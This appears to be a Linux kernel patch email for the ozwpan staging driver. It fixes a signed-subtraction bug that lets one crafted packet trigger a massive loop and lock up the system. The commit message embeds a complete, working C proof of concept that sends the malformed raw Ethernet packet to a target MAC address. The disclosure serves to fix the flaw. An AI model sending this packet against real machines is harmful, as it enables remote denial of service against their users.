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    Subject[PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
    Date
    The subtraction here was using a signed integer and did not have any
    bounds checking at all. This commit adds proper bounds checking, made
    easy by use of an unsigned integer. This way, a single packet won't be
    able to remotely trigger a massive loop, locking up the system for a
    considerable amount of time. A PoC follows below, which requires
    ozprotocol.h from this module.

    =-=-=-=-=-=

    #include <arpa/inet.h>
    #include <linux/if_packet.h>
    #include <net/if.h>
    #include <netinet/ether.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <endian.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>

    #define u8 uint8_t
    #define u16 uint16_t
    #define u32 uint32_t
    #define __packed __attribute__((__packed__))
    #include "ozprotocol.h"

    static int hex2num(char c)
    {
    if (c >= '0' && c <= '9')
    return c - '0';
    if (c >= 'a' && c <= 'f')
    return c - 'a' + 10;
    if (c >= 'A' && c <= 'F')
    return c - 'A' + 10;
    return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    int i;
    for (i = 0; i < 6; i++) {
    int a, b;
    a = hex2num(*txt++);
    if (a < 0)
    return -1;
    b = hex2num(*txt++);
    if (b < 0)
    return -1;
    *addr++ = (a << 4) | b;
    if (i < 5 && *txt++ != ':')
    return -1;
    }
    return 0;
    }

    int main(int argc, char *argv[])
    {
    if (argc < 3) {
    fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    return 1;
    }

    uint8_t dest_mac[6];
    if (hwaddr_aton(argv[2], dest_mac)) {
    fprintf(stderr, "Invalid mac address.\n");
    return 1;
    }

    int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    if (sockfd < 0) {
    perror("socket");
    return 1;
    }

    struct ifreq if_idx;
    int interface_index;
    strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    perror("SIOCGIFINDEX");
    return 1;
    }
    interface_index = if_idx.ifr_ifindex;
    if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    perror("SIOCGIFHWADDR");
    return 1;
    }
    uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

    struct {
    struct ether_header ether_header;
    struct oz_hdr oz_hdr;
    struct oz_elt oz_elt;
    struct oz_elt_connect_req oz_elt_connect_req;
    struct oz_elt oz_elt2;
    struct oz_multiple_fixed oz_multiple_fixed;
    } __packed packet = {
    .ether_header = {
    .ether_type = htons(OZ_ETHERTYPE),
    .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    },
    .oz_hdr = {
    .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    .last_pkt_num = 0,
    .pkt_num = htole32(0)
    },
    .oz_elt = {
    .type = OZ_ELT_CONNECT_REQ,
    .length = sizeof(struct oz_elt_connect_req)
    },
    .oz_elt_connect_req = {
    .mode = 0,
    .resv1 = {0},
    .pd_info = 0,
    .session_id = 0,
    .presleep = 0,
    .ms_isoc_latency = 0,
    .host_vendor = 0,
    .keep_alive = 0,
    .apps = htole16((1 << OZ_APPID_USB) | 0x1),
    .max_len_div16 = 0,
    .ms_per_isoc = 0,
    .up_audio_buf = 0,
    .ms_per_elt = 0
    },
    .oz_elt2 = {
    .type = OZ_ELT_APP_DATA,
    .length = sizeof(struct oz_multiple_fixed) - 3
    },
    .oz_multiple_fixed = {
    .app_id = OZ_APPID_USB,
    .elt_seq_num = 0,
    .type = OZ_USB_ENDPOINT_DATA,
    .endpoint = 0,
    .format = OZ_DATA_F_MULTIPLE_FIXED,
    .unit_size = 1,
    .data = {0}
    }
    };

    struct sockaddr_ll socket_address = {
    .sll_ifindex = interface_index,
    .sll_halen = ETH_ALEN,
    .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    };

    if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    perror("sendto");
    return 1;
    }
    return 0;
    }

    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    ---
    drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
    1 file changed, 3 insertions(+), 1 deletion(-)

    diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
    index 8552053..1bde6aa 100644
    --- a/drivers/staging/ozwpan/ozusbsvc1.c
    +++ b/drivers/staging/ozwpan/ozusbsvc1.c
    @@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
    struct oz_multiple_fixed *body =
    (struct oz_multiple_fixed *)data_hdr;
    u8 *data = body->data;
    - int n;
    + unsigned int n;
    if (!body->unit_size)
    break;
    n = (len - sizeof(struct oz_multiple_fixed)+1)
    / body->unit_size;
    + if (n > len / body->unit_size)
    + break;
    while (n--) {
    oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
    data, body->unit_size);
    --
    2.4.1


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